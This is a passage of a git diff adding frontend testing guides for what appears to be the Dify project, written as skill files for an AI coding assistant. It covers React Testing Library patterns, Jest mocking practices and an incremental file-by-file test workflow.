+    expect(screen.getByText(/password is required/i)).toBeInTheDocument()
+  })
+
+  it('should validate email format', async () => {
+    const user = userEvent.setup()
+    
+    render(<LoginForm onSubmit={jest.fn()} />)
+    
+    await user.type(screen.getByLabelText(/email/i), 'invalid-email')
+    await user.click(screen.getByRole('button', { name: /sign in/i }))
+    
+    expect(screen.getByText(/invalid email/i)).toBeInTheDocument()
+  })
+
+  it('should disable submit button while submitting', async () => {
+    const user = userEvent.setup()
+    const onSubmit = jest.fn(() => new Promise(resolve => setTimeout(resolve, 100)))
+    
+    render(<LoginForm onSubmit={onSubmit} />)
+    
+    await user.type(screen.getByLabelText(/email/i), 'test@example.com')
+    await user.type(screen.getByLabelText(/password/i), 'password123')
+    await user.click(screen.getByRole('button', { name: /sign in/i }))
+    
+    expect(screen.getByRole('button', { name: /signing in/i })).toBeDisabled()
+    
+    await waitFor(() => {
+      expect(screen.getByRole('button', { name: /sign in/i })).toBeEnabled()
+    })
+  })
+})
+```
+
+## Data-Driven Tests with test.each
+
+```typescript
+describe('StatusBadge', () => {
+  test.each([
+    ['success', 'bg-green-500'],
+    ['warning', 'bg-yellow-500'],
+    ['error', 'bg-red-500'],
+    ['info', 'bg-blue-500'],
+  ])('should apply correct class for %s status', (status, expectedClass) => {
+    render(<StatusBadge status={status} />)
+    
+    expect(screen.getByTestId('status-badge')).toHaveClass(expectedClass)
+  })
+
+  test.each([
+    { input: null, expected: 'Unknown' },
+    { input: undefined, expected: 'Unknown' },
+    { input: '', expected: 'Unknown' },
+    { input: 'invalid', expected: 'Unknown' },
+  ])('should show "Unknown" for invalid input: $input', ({ input, expected }) => {
+    render(<StatusBadge status={input} />)
+    
+    expect(screen.getByText(expected)).toBeInTheDocument()
+  })
+})
+```
+
+## Debugging Tips
+
+```typescript
+// Print entire DOM
+screen.debug()
+
+// Print specific element
+screen.debug(screen.getByRole('button'))
+
+// Log testing playground URL
+screen.logTestingPlaygroundURL()
+
+// Pretty print DOM
+import { prettyDOM } from '@testing-library/react'
+console.log(prettyDOM(screen.getByRole('dialog')))
+
+// Check available roles
+import { getRoles } from '@testing-library/react'
+console.log(getRoles(container))
+```
+
+## Common Mistakes to Avoid
+
+### ❌ Don't Use Implementation Details
+
+```typescript
+// Bad - testing implementation
+expect(component.state.isOpen).toBe(true)
+expect(wrapper.find('.internal-class').length).toBe(1)
+
+// Good - testing behavior
+expect(screen.getByRole('dialog')).toBeInTheDocument()
+```
+
+### ❌ Don't Forget Cleanup
+
+```typescript
+// Bad - may leak state between tests
+it('test 1', () => {
+  render(<Component />)
+})
+
+// Good - cleanup is automatic with RTL, but reset mocks
+beforeEach(() => {
+  jest.clearAllMocks()
+})
+```
+
+### ❌ Don't Use Exact String Matching (Prefer Black-Box Assertions)
+
+```typescript
+// ❌ Bad - hardcoded strings are brittle
+expect(screen.getByText('Submit Form')).toBeInTheDocument()
+expect(screen.getByText('Loading...')).toBeInTheDocument()
+
+// ✅ Good - role-based queries (most semantic)
+expect(screen.getByRole('button', { name: /submit/i })).toBeInTheDocument()
+expect(screen.getByRole('status')).toBeInTheDocument()
+
+// ✅ Good - pattern matching (flexible)
+expect(screen.getByText(/submit/i)).toBeInTheDocument()
+expect(screen.getByText(/loading/i)).toBeInTheDocument()
+
+// ✅ Good - test behavior, not exact UI text
+expect(screen.getByRole('button')).toBeDisabled()
+expect(screen.getByRole('alert')).toBeInTheDocument()
+```
+
+**Why prefer black-box assertions?**
+
+- Text content may change (i18n, copy updates)
+- Role-based queries test accessibility
+- Pattern matching is resilient to minor changes
+- Tests focus on behavior, not implementation details
+
+### ❌ Don't Assert on Absence Without Query
+
+```typescript
+// Bad - throws if not found
+expect(screen.getByText('Error')).not.toBeInTheDocument() // Error!
+
+// Good - use queryBy for absence assertions
+expect(screen.queryByText('Error')).not.toBeInTheDocument()
+```
diff --git a/.claude/skills/frontend-testing/guides/domain-components.md b/.claude/skills/frontend-testing/guides/domain-components.md
new file mode 100644
index 0000000000..ed2cc6eb8a
--- /dev/null
+++ b/.claude/skills/frontend-testing/guides/domain-components.md
@@ -0,0 +1,523 @@
+# Domain-Specific Component Testing
+
+This guide covers testing patterns for Dify's domain-specific components.
+
+## Workflow Components (`workflow/`)
+
+Workflow components handle node configuration, data flow, and graph operations.
+
+### Key Test Areas
+
+1. **Node Configuration**
+1. **Data Validation**
+1. **Variable Passing**
+1. **Edge Connections**
+1. **Error Handling**
+
+### Example: Node Configuration Panel
+
+```typescript
+import { render, screen, fireEvent, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import NodeConfigPanel from './node-config-panel'
+import { createMockNode, createMockWorkflowContext } from '@/__mocks__/workflow'
+
+// Mock workflow context
+jest.mock('@/app/components/workflow/hooks', () => ({
+  useWorkflowStore: () => mockWorkflowStore,
+  useNodesInteractions: () => mockNodesInteractions,
+}))
+
+let mockWorkflowStore = {
+  nodes: [],
+  edges: [],
+  updateNode: jest.fn(),
+}
+
+let mockNodesInteractions = {
+  handleNodeSelect: jest.fn(),
+  handleNodeDelete: jest.fn(),
+}
+
+describe('NodeConfigPanel', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockWorkflowStore = {
+      nodes: [],
+      edges: [],
+      updateNode: jest.fn(),
+    }
+  })
+
+  describe('Node Configuration', () => {
+    it('should render node type selector', () => {
+      const node = createMockNode({ type: 'llm' })
+      render(<NodeConfigPanel node={node} />)
+      
+      expect(screen.getByLabelText(/model/i)).toBeInTheDocument()
+    })
+
+    it('should update node config on change', async () => {
+      const user = userEvent.setup()
+      const node = createMockNode({ type: 'llm' })
+      
+      render(<NodeConfigPanel node={node} />)
+      
+      await user.selectOptions(screen.getByLabelText(/model/i), 'gpt-4')
+      
+      expect(mockWorkflowStore.updateNode).toHaveBeenCalledWith(
+        node.id,
+        expect.objectContaining({ model: 'gpt-4' })
+      )
+    })
+  })
+
+  describe('Data Validation', () => {
+    it('should show error for invalid input', async () => {
+      const user = userEvent.setup()
+      const node = createMockNode({ type: 'code' })
+      
+      render(<NodeConfigPanel node={node} />)
+      
+      // Enter invalid code
+      const codeInput = screen.getByLabelText(/code/i)
+      await user.clear(codeInput)
+      await user.type(codeInput, 'invalid syntax {{{')
+      
+      await waitFor(() => {
+        expect(screen.getByText(/syntax error/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should validate required fields', async () => {
+      const node = createMockNode({ type: 'http', data: { url: '' } })
+      
+      render(<NodeConfigPanel node={node} />)
+      
+      fireEvent.click(screen.getByRole('button', { name: /save/i }))
+      
+      await waitFor(() => {
+        expect(screen.getByText(/url is required/i)).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Variable Passing', () => {
+    it('should display available variables from upstream nodes', () => {
+      const upstreamNode = createMockNode({
+        id: 'node-1',
+        type: 'start',
+        data: { outputs: [{ name: 'user_input', type: 'string' }] },
+      })
+      const currentNode = createMockNode({
+        id: 'node-2',
+        type: 'llm',
+      })
+      
+      mockWorkflowStore.nodes = [upstreamNode, currentNode]
+      mockWorkflowStore.edges = [{ source: 'node-1', target: 'node-2' }]
+      
+      render(<NodeConfigPanel node={currentNode} />)
+      
+      // Variable selector should show upstream variables
+      fireEvent.click(screen.getByRole('button', { name: /add variable/i }))
+      
+      expect(screen.getByText('user_input')).toBeInTheDocument()
+    })
+
+    it('should insert variable into prompt template', async () => {
+      const user = userEvent.setup()
+      const node = createMockNode({ type: 'llm' })
+      
+      render(<NodeConfigPanel node={node} />)
+      
+      // Click variable button
+      await user.click(screen.getByRole('button', { name: /insert variable/i }))
+      await user.click(screen.getByText('user_input'))
+      
+      const promptInput = screen.getByLabelText(/prompt/i)
+      expect(promptInput).toHaveValue(expect.stringContaining('{{user_input}}'))
+    })
+  })
+})
+```
+
+## Dataset Components (`dataset/`)
+
+Dataset components handle file uploads, data display, and search/filter operations.
+
+### Key Test Areas
+
+1. **File Upload**
+1. **File Type Validation**
+1. **Pagination**
+1. **Search & Filtering**
+1. **Data Format Handling**
+
+### Example: Document Uploader
+
+```typescript
+import { render, screen, fireEvent, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import DocumentUploader from './document-uploader'
+
+jest.mock('@/service/datasets', () => ({
+  uploadDocument: jest.fn(),
+  parseDocument: jest.fn(),
+}))
+
+import * as datasetService from '@/service/datasets'
+const mockedService = datasetService as jest.Mocked<typeof datasetService>
+
+describe('DocumentUploader', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('File Upload', () => {
+    it('should accept valid file types', async () => {
+      const user = userEvent.setup()
+      const onUpload = jest.fn()
+      mockedService.uploadDocument.mockResolvedValue({ id: 'doc-1' })
+      
+      render(<DocumentUploader onUpload={onUpload} />)
+      
+      const file = new File(['content'], 'test.pdf', { type: 'application/pdf' })
+      const input = screen.getByLabelText(/upload/i)
+      
+      await user.upload(input, file)
+      
+      await waitFor(() => {
+        expect(mockedService.uploadDocument).toHaveBeenCalledWith(
+          expect.any(FormData)
+        )
+      })
+    })
+
+    it('should reject invalid file types', async () => {
+      const user = userEvent.setup()
+      
+      render(<DocumentUploader />)
+      
+      const file = new File(['content'], 'test.exe', { type: 'application/x-msdownload' })
+      const input = screen.getByLabelText(/upload/i)
+      
+      await user.upload(input, file)
+      
+      expect(screen.getByText(/unsupported file type/i)).toBeInTheDocument()
+      expect(mockedService.uploadDocument).not.toHaveBeenCalled()
+    })
+
+    it('should show upload progress', async () => {
+      const user = userEvent.setup()
+      
+      // Mock upload with progress
+      mockedService.uploadDocument.mockImplementation(() => {
+        return new Promise((resolve) => {
+          setTimeout(() => resolve({ id: 'doc-1' }), 100)
+        })
+      })
+      
+      render(<DocumentUploader />)
+      
+      const file = new File(['content'], 'test.pdf', { type: 'application/pdf' })
+      await user.upload(screen.getByLabelText(/upload/i), file)
+      
+      expect(screen.getByRole('progressbar')).toBeInTheDocument()
+      
+      await waitFor(() => {
+        expect(screen.queryByRole('progressbar')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Error Handling', () => {
+    it('should handle upload failure', async () => {
+      const user = userEvent.setup()
+      mockedService.uploadDocument.mockRejectedValue(new Error('Upload failed'))
+      
+      render(<DocumentUploader />)
+      
+      const file = new File(['content'], 'test.pdf', { type: 'application/pdf' })
+      await user.upload(screen.getByLabelText(/upload/i), file)
+      
+      await waitFor(() => {
+        expect(screen.getByText(/upload failed/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should allow retry after failure', async () => {
+      const user = userEvent.setup()
+      mockedService.uploadDocument
+        .mockRejectedValueOnce(new Error('Network error'))
+        .mockResolvedValueOnce({ id: 'doc-1' })
+      
+      render(<DocumentUploader />)
+      
+      const file = new File(['content'], 'test.pdf', { type: 'application/pdf' })
+      await user.upload(screen.getByLabelText(/upload/i), file)
+      
+      await waitFor(() => {
+        expect(screen.getByRole('button', { name: /retry/i })).toBeInTheDocument()
+      })
+      
+      await user.click(screen.getByRole('button', { name: /retry/i }))
+      
+      await waitFor(() => {
+        expect(screen.getByText(/uploaded successfully/i)).toBeInTheDocument()
+      })
+    })
+  })
+})
+```
+
+### Example: Document List with Pagination
+
+```typescript
+describe('DocumentList', () => {
+  describe('Pagination', () => {
+    it('should load first page on mount', async () => {
+      mockedService.getDocuments.mockResolvedValue({
+        data: [{ id: '1', name: 'Doc 1' }],
+        total: 50,
+        page: 1,
+        pageSize: 10,
+      })
+      
+      render(<DocumentList datasetId="ds-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByText('Doc 1')).toBeInTheDocument()
+      })
+      
+      expect(mockedService.getDocuments).toHaveBeenCalledWith('ds-1', { page: 1 })
+    })
+
+    it('should navigate to next page', async () => {
+      const user = userEvent.setup()
+      mockedService.getDocuments.mockResolvedValue({
+        data: [{ id: '1', name: 'Doc 1' }],
+        total: 50,
+        page: 1,
+        pageSize: 10,
+      })
+      
+      render(<DocumentList datasetId="ds-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByText('Doc 1')).toBeInTheDocument()
+      })
+      
+      mockedService.getDocuments.mockResolvedValue({
+        data: [{ id: '11', name: 'Doc 11' }],
+        total: 50,
+        page: 2,
+        pageSize: 10,
+      })
+      
+      await user.click(screen.getByRole('button', { name: /next/i }))
+      
+      await waitFor(() => {
+        expect(screen.getByText('Doc 11')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Search & Filtering', () => {
+    it('should filter by search query', async () => {
+      const user = userEvent.setup()
+      jest.useFakeTimers()
+      
+      render(<DocumentList datasetId="ds-1" />)
+      
+      await user.type(screen.getByPlaceholderText(/search/i), 'test query')
+      
+      // Debounce
+      jest.advanceTimersByTime(300)
+      
+      await waitFor(() => {
+        expect(mockedService.getDocuments).toHaveBeenCalledWith(
+          'ds-1',
+          expect.objectContaining({ search: 'test query' })
+        )
+      })
+      
+      jest.useRealTimers()
+    })
+  })
+})
+```
+
+## Configuration Components (`app/configuration/`, `config/`)
+
+Configuration components handle forms, validation, and data persistence.
+
+### Key Test Areas
+
+1. **Form Validation**
+1. **Save/Reset**
+1. **Required vs Optional Fields**
+1. **Configuration Persistence**
+1. **Error Feedback**
+
+### Example: App Configuration Form
+
+```typescript
+import { render, screen, fireEvent, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import AppConfigForm from './app-config-form'
+
+jest.mock('@/service/apps', () => ({
+  updateAppConfig: jest.fn(),
+  getAppConfig: jest.fn(),
+}))
+
+import * as appService from '@/service/apps'
+const mockedService = appService as jest.Mocked<typeof appService>
+
+describe('AppConfigForm', () => {
+  const defaultConfig = {
+    name: 'My App',
+    description: '',
+    icon: 'default',
+    openingStatement: '',
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockedService.getAppConfig.mockResolvedValue(defaultConfig)
+  })
+
+  describe('Form Validation', () => {
+    it('should require app name', async () => {
+      const user = userEvent.setup()
+      
+      render(<AppConfigForm appId="app-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByLabelText(/name/i)).toHaveValue('My App')
+      })
+      
+      // Clear name field
+      await user.clear(screen.getByLabelText(/name/i))
+      await user.click(screen.getByRole('button', { name: /save/i }))
+      
+      expect(screen.getByText(/name is required/i)).toBeInTheDocument()
+      expect(mockedService.updateAppConfig).not.toHaveBeenCalled()
+    })
+
+    it('should validate name length', async () => {
+      const user = userEvent.setup()
+      
+      render(<AppConfigForm appId="app-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByLabelText(/name/i)).toBeInTheDocument()
+      })
+      
+      // Enter very long name
+      await user.clear(screen.getByLabelText(/name/i))
+      await user.type(screen.getByLabelText(/name/i), 'a'.repeat(101))
+      
+      expect(screen.getByText(/name must be less than 100 characters/i)).toBeInTheDocument()
+    })
+
+    it('should allow empty optional fields', async () => {
+      const user = userEvent.setup()
+      mockedService.updateAppConfig.mockResolvedValue({ success: true })
+      
+      render(<AppConfigForm appId="app-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByLabelText(/name/i)).toHaveValue('My App')
+      })
+      
+      // Leave description empty (optional)
+      await user.click(screen.getByRole('button', { name: /save/i }))
+      
+      await waitFor(() => {
+        expect(mockedService.updateAppConfig).toHaveBeenCalled()
+      })
+    })
+  })
+
+  describe('Save/Reset Functionality', () => {
+    it('should save configuration', async () => {
+      const user = userEvent.setup()
+      mockedService.updateAppConfig.mockResolvedValue({ success: true })
+      
+      render(<AppConfigForm appId="app-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByLabelText(/name/i)).toHaveValue('My App')
+      })
+      
+      await user.clear(screen.getByLabelText(/name/i))
+      await user.type(screen.getByLabelText(/name/i), 'Updated App')
+      await user.click(screen.getByRole('button', { name: /save/i }))
+      
+      await waitFor(() => {
+        expect(mockedService.updateAppConfig).toHaveBeenCalledWith(
+          'app-1',
+          expect.objectContaining({ name: 'Updated App' })
+        )
+      })
+      
+      expect(screen.getByText(/saved successfully/i)).toBeInTheDocument()
+    })
+
+    it('should reset to default values', async () => {
+      const user = userEvent.setup()
+      
+      render(<AppConfigForm appId="app-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByLabelText(/name/i)).toHaveValue('My App')
+      })
+      
+      // Make changes
+      await user.clear(screen.getByLabelText(/name/i))
+      await user.type(screen.getByLabelText(/name/i), 'Changed Name')
+      
+      // Reset
+      await user.click(screen.getByRole('button', { name: /reset/i }))
+      
+      expect(screen.getByLabelText(/name/i)).toHaveValue('My App')
+    })
+
+    it('should show unsaved changes warning', async () => {
+      const user = userEvent.setup()
+      
+      render(<AppConfigForm appId="app-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByLabelText(/name/i)).toHaveValue('My App')
+      })
+      
+      // Make changes
+      await user.type(screen.getByLabelText(/name/i), ' Updated')
+      
+      expect(screen.getByText(/unsaved changes/i)).toBeInTheDocument()
+    })
+  })
+
+  describe('Error Handling', () => {
+    it('should show error on save failure', async () => {
+      const user = userEvent.setup()
+      mockedService.updateAppConfig.mockRejectedValue(new Error('Server error'))
+      
+      render(<AppConfigForm appId="app-1" />)
+      
+      await waitFor(() => {
+        expect(screen.getByLabelText(/name/i)).toHaveValue('My App')
+      })
+      
+      await user.click(screen.getByRole('button', { name: /save/i }))
+      
+      await waitFor(() => {
+        expect(screen.getByText(/failed to save/i)).toBeInTheDocument()
+      })
+    })
+  })
+})
+```
diff --git a/.claude/skills/frontend-testing/guides/mocking.md b/.claude/skills/frontend-testing/guides/mocking.md
new file mode 100644
index 0000000000..bf0bd79690
--- /dev/null
+++ b/.claude/skills/frontend-testing/guides/mocking.md
@@ -0,0 +1,363 @@
+# Mocking Guide for Dify Frontend Tests
+
+## ⚠️ Important: What NOT to Mock
+
+### DO NOT Mock Base Components
+
+**Never mock components from `@/app/components/base/`** such as:
+
+- `Loading`, `Spinner`
+- `Button`, `Input`, `Select`
+- `Tooltip`, `Modal`, `Dropdown`
+- `Icon`, `Badge`, `Tag`
+
+**Why?**
+
+- Base components will have their own dedicated tests
+- Mocking them creates false positives (tests pass but real integration fails)
+- Using real components tests actual integration behavior
+
+```typescript
+// ❌ WRONG: Don't mock base components
+jest.mock('@/app/components/base/loading', () => () => <div>Loading</div>)
+jest.mock('@/app/components/base/button', () => ({ children }: any) => <button>{children}</button>)
+
+// ✅ CORRECT: Import and use real base components
+import Loading from '@/app/components/base/loading'
+import Button from '@/app/components/base/button'
+// They will render normally in tests
+```
+
+### What TO Mock
+
+Only mock these categories:
+
+1. **API services** (`@/service/*`) - Network calls
+1. **Complex context providers** - When setup is too difficult
+1. **Third-party libraries with side effects** - `next/navigation`, external SDKs
+1. **i18n** - Always mock to return keys
+
+## Mock Placement
+
+| Location | Purpose |
+|----------|---------|
+| `web/__mocks__/` | Reusable mocks shared across multiple test files |
+| Test file | Test-specific mocks, inline with `jest.mock()` |
+
+## Essential Mocks
+
+### 1. i18n (Auto-loaded via Shared Mock)
+
+A shared mock is available at `web/__mocks__/react-i18next.ts` and is auto-loaded by Jest.
+**No explicit mock needed** for most tests - it returns translation keys as-is.
+
+For tests requiring custom translations, override the mock:
+
+```typescript
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        'my.custom.key': 'Custom translation',
+      }
+      return translations[key] || key
+    },
+  }),
+}))
+```
+
+### 2. Next.js Router
+
+```typescript
+const mockPush = jest.fn()
+const mockReplace = jest.fn()
+
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+    replace: mockReplace,
+    back: jest.fn(),
+    prefetch: jest.fn(),
+  }),
+  usePathname: () => '/current-path',
+  useSearchParams: () => new URLSearchParams('?key=value'),
+}))
+
+describe('Component', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should navigate on click', () => {
+    render(<Component />)
+    fireEvent.click(screen.getByRole('button'))
+    expect(mockPush).toHaveBeenCalledWith('/expected-path')
+  })
+})
+```
+
+### 3. Portal Components (with Shared State)
+
+```typescript
+// ⚠️ Important: Use shared state for components that depend on each other
+let mockPortalOpenState = false
+
+jest.mock('@/app/components/base/portal-to-follow-elem', () => ({
+  PortalToFollowElem: ({ children, open, ...props }: any) => {
+    mockPortalOpenState = open || false  // Update shared state
+    return <div data-testid="portal" data-open={open}>{children}</div>
+  },
+  PortalToFollowElemContent: ({ children }: any) => {
+    // ✅ Matches actual: returns null when portal is closed
+    if (!mockPortalOpenState) return null
+    return <div data-testid="portal-content">{children}</div>
+  },
+  PortalToFollowElemTrigger: ({ children }: any) => (
+    <div data-testid="portal-trigger">{children}</div>
+  ),
+}))
+
+describe('Component', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockPortalOpenState = false  // ✅ Reset shared state
+  })
+})
+```
+
+### 4. API Service Mocks
+
+```typescript
+import * as api from '@/service/api'
+
+jest.mock('@/service/api')
+
+const mockedApi = api as jest.Mocked<typeof api>
+
+describe('Component', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    
+    // Setup default mock implementation
+    mockedApi.fetchData.mockResolvedValue({ data: [] })
+  })
+
+  it('should show data on success', async () => {
+    mockedApi.fetchData.mockResolvedValue({ data: [{ id: 1 }] })
+    
+    render(<Component />)
+    
+    await waitFor(() => {
+      expect(screen.getByText('1')).toBeInTheDocument()
+    })
+  })
+
+  it('should show error on failure', async () => {
+    mockedApi.fetchData.mockRejectedValue(new Error('Network error'))
+    
+    render(<Component />)
+    
+    await waitFor(() => {
+      expect(screen.getByText(/error/i)).toBeInTheDocument()
+    })
+  })
+})
+```
+
+### 5. HTTP Mocking with Nock
+
+```typescript
+import nock from 'nock'
+
+const GITHUB_HOST = 'https://api.github.com'
+const GITHUB_PATH = '/repos/owner/repo'
+
+const mockGithubApi = (status: number, body: Record<string, unknown>, delayMs = 0) => {
+  return nock(GITHUB_HOST)
+    .get(GITHUB_PATH)
+    .delay(delayMs)
+    .reply(status, body)
+}
+
+describe('GithubComponent', () => {
+  afterEach(() => {
+    nock.cleanAll()
+  })
+
+  it('should display repo info', async () => {
+    mockGithubApi(200, { name: 'dify', stars: 1000 })
+    
+    render(<GithubComponent />)
+    
+    await waitFor(() => {
+      expect(screen.getByText('dify')).toBeInTheDocument()
+    })
+  })
+
+  it('should handle API error', async () => {
+    mockGithubApi(500, { message: 'Server error' })
+    
+    render(<GithubComponent />)
+    
+    await waitFor(() => {
+      expect(screen.getByText(/error/i)).toBeInTheDocument()
+    })
+  })
+})
+```
+
+### 6. Context Providers
+
+```typescript
+import { ProviderContext } from '@/context/provider-context'
+import { createMockProviderContextValue, createMockPlan } from '@/__mocks__/provider-context'
+
+describe('Component with Context', () => {
+  it('should render for free plan', () => {
+    const mockContext = createMockPlan('sandbox')
+    
+    render(
+      <ProviderContext.Provider value={mockContext}>
+        <Component />
+      </ProviderContext.Provider>
+    )
+    
+    expect(screen.getByText('Upgrade')).toBeInTheDocument()
+  })
+
+  it('should render for pro plan', () => {
+    const mockContext = createMockPlan('professional')
+    
+    render(
+      <ProviderContext.Provider value={mockContext}>
+        <Component />
+      </ProviderContext.Provider>
+    )
+    
+    expect(screen.queryByText('Upgrade')).not.toBeInTheDocument()
+  })
+})
+```
+
+### 7. SWR / React Query
+
+```typescript
+// SWR
+jest.mock('swr', () => ({
+  __esModule: true,
+  default: jest.fn(),
+}))
+
+import useSWR from 'swr'
+const mockedUseSWR = useSWR as jest.Mock
+
+describe('Component with SWR', () => {
+  it('should show loading state', () => {
+    mockedUseSWR.mockReturnValue({
+      data: undefined,
+      error: undefined,
+      isLoading: true,
+    })
+    
+    render(<Component />)
+    expect(screen.getByText(/loading/i)).toBeInTheDocument()
+  })
+})
+
+// React Query
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+
+const createTestQueryClient = () => new QueryClient({
+  defaultOptions: {
+    queries: { retry: false },
+    mutations: { retry: false },
+  },
+})
+
+const renderWithQueryClient = (ui: React.ReactElement) => {
+  const queryClient = createTestQueryClient()
+  return render(
+    <QueryClientProvider client={queryClient}>
+      {ui}
+    </QueryClientProvider>
+  )
+}
+```
+
+## Mock Best Practices
+
+### ✅ DO
+
+1. **Use real base components** - Import from `@/app/components/base/` directly
+1. **Use real project components** - Prefer importing over mocking
+1. **Reset mocks in `beforeEach`**, not `afterEach`
+1. **Match actual component behavior** in mocks (when mocking is necessary)
+1. **Use factory functions** for complex mock data
+1. **Import actual types** for type safety
+1. **Reset shared mock state** in `beforeEach`
+
+### ❌ DON'T
+
+1. **Don't mock base components** (`Loading`, `Button`, `Tooltip`, etc.)
+1. Don't mock components you can import directly
+1. Don't create overly simplified mocks that miss conditional logic
+1. Don't forget to clean up nock after each test
+1. Don't use `any` types in mocks without necessity
+
+### Mock Decision Tree
+
+```
+Need to use a component in test?
+│
+├─ Is it from @/app/components/base/*?
+│  └─ YES → Import real component, DO NOT mock
+│
+├─ Is it a project component?
+│  └─ YES → Prefer importing real component
+│           Only mock if setup is extremely complex
+│
+├─ Is it an API service (@/service/*)?
+│  └─ YES → Mock it
+│
+├─ Is it a third-party lib with side effects?
+│  └─ YES → Mock it (next/navigation, external SDKs)
+│
+└─ Is it i18n?
+   └─ YES → Uses shared mock (auto-loaded). Override only for custom translations
+```
+
+## Factory Function Pattern
+
+```typescript
+// __mocks__/data-factories.ts
+import type { User, Project } from '@/types'
+
+export const createMockUser = (overrides: Partial<User> = {}): User => ({
+  id: 'user-1',
+  name: 'Test User',
+  email: 'test@example.com',
+  role: 'member',
+  createdAt: new Date().toISOString(),
+  ...overrides,
+})
+
+export const createMockProject = (overrides: Partial<Project> = {}): Project => ({
+  id: 'project-1',
+  name: 'Test Project',
+  description: 'A test project',
+  owner: createMockUser(),
+  members: [],
+  createdAt: new Date().toISOString(),
+  ...overrides,
+})
+
+// Usage in tests
+it('should display project owner', () => {
+  const project = createMockProject({
+    owner: createMockUser({ name: 'John Doe' }),
+  })
+  
+  render(<ProjectCard project={project} />)
+  expect(screen.getByText('John Doe')).toBeInTheDocument()
+})
+```
diff --git a/.claude/skills/frontend-testing/guides/workflow.md b/.claude/skills/frontend-testing/guides/workflow.md
new file mode 100644
index 0000000000..b0f2994bde
--- /dev/null
+++ b/.claude/skills/frontend-testing/guides/workflow.md
@@ -0,0 +1,269 @@
+# Testing Workflow Guide
+
+This guide defines the workflow for generating tests, especially for complex components or directories with multiple files.
+
+## Scope Clarification
+
+This guide addresses **multi-file workflow** (how to process multiple test files). For coverage requirements within a single test file, see `web/testing/testing.md` § Coverage Goals.
+
+| Scope | Rule |
+|-------|------|
+| **Single file** | Complete coverage in one generation (100% function, >95% branch) |
+| **Multi-file directory** | Process one file at a time, verify each before proceeding |
+
+## ⚠️ Critical Rule: Incremental Approach for Multi-File Testing
+
+When testing a **directory with multiple files**, **NEVER generate all test files at once.** Use an incremental, verify-as-you-go approach.
+
+### Why Incremental?
+
+| Batch Approach (❌) | Incremental Approach (✅) |
+|---------------------|---------------------------|
+| Generate 5+ tests at once | Generate 1 test at a time |
+| Run tests only at the end | Run test immediately after each file |
+| Multiple failures compound | Single point of failure, easy to debug |
+| Hard to identify root cause | Clear cause-effect relationship |
+| Mock issues affect many files | Mock issues caught early |
+| Messy git history | Clean, atomic commits possible |
+
+## Single File Workflow
+
+When testing a **single component, hook, or utility**:
+
+```
+1. Read source code completely
+2. Run `pnpm analyze-component <path>` (if available)
+3. Check complexity score and features detected
+4. Write the test file
+5. Run test: `pnpm test -- <file>.spec.tsx`
+6. Fix any failures
+7. Verify coverage meets goals (100% function, >95% branch)
+```
+
+## Directory/Multi-File Workflow (MUST FOLLOW)
+
+When testing a **directory or multiple files**, follow this strict workflow:
+
+### Step 1: Analyze and Plan
+
+1. **List all files** that need tests in the directory
+1. **Categorize by complexity**:
+   - 🟢 **Simple**: Utility functions, simple hooks, presentational components
+   - 🟡 **Medium**: Components with state, effects, or event handlers
+   - 🔴 **Complex**: Components with API calls, routing, or many dependencies
+1. **Order by dependency**: Test dependencies before dependents
+1. **Create a todo list** to track progress
+
+### Step 2: Determine Processing Order
+
+Process files in this recommended order:
+
+```
+1. Utility functions (simplest, no React)
+2. Custom hooks (isolated logic)
+3. Simple presentational components (few/no props)
+4. Medium complexity components (state, effects)
+5. Complex components (API, routing, many deps)
+6. Container/index components (integration tests - last)
+```
+
+**Rationale**:
+
+- Simpler files help establish mock patterns
+- Hooks used by components should be tested first
+- Integration tests (index files) depend on child components working
+
+### Step 3: Process Each File Incrementally
+
+**For EACH file in the ordered list:**
+
+```
+┌─────────────────────────────────────────────┐
+│  1. Write test file                         │
+│  2. Run: pnpm test -- <file>.spec.tsx       │
+│  3. If FAIL → Fix immediately, re-run       │
+│  4. If PASS → Mark complete in todo list    │
+│  5. ONLY THEN proceed to next file          │
+└─────────────────────────────────────────────┘
+```
+
+**DO NOT proceed to the next file until the current one passes.**
+
+### Step 4: Final Verification
+
+After all individual tests pass:
+
+```bash
+# Run all tests in the directory together
+pnpm test -- path/to/directory/
+
+# Check coverage
+pnpm test -- --coverage path/to/directory/
+```
+
+## Component Complexity Guidelines
+
+Use `pnpm analyze-component <path>` to assess complexity before testing.
+
+### 🔴 Very Complex Components (Complexity > 50)
+
+**Consider refactoring BEFORE testing:**
+
+- Break component into smaller, testable pieces
+- Extract complex logic into custom hooks
+- Separate container and presentational layers
+
+**If testing as-is:**
+
+- Use integration tests for complex workflows
+- Use `test.each()` for data-driven testing
+- Multiple `describe` blocks for organization
+- Consider testing major sections separately
+
+### 🟡 Medium Complexity (Complexity 30-50)
+
+- Group related tests in `describe` blocks
+- Test integration scenarios between internal parts
+- Focus on state transitions and side effects
+- Use helper functions to reduce test complexity
+
+### 🟢 Simple Components (Complexity < 30)
+
+- Standard test structure
+- Focus on props, rendering, and edge cases
+- Usually straightforward to test
+
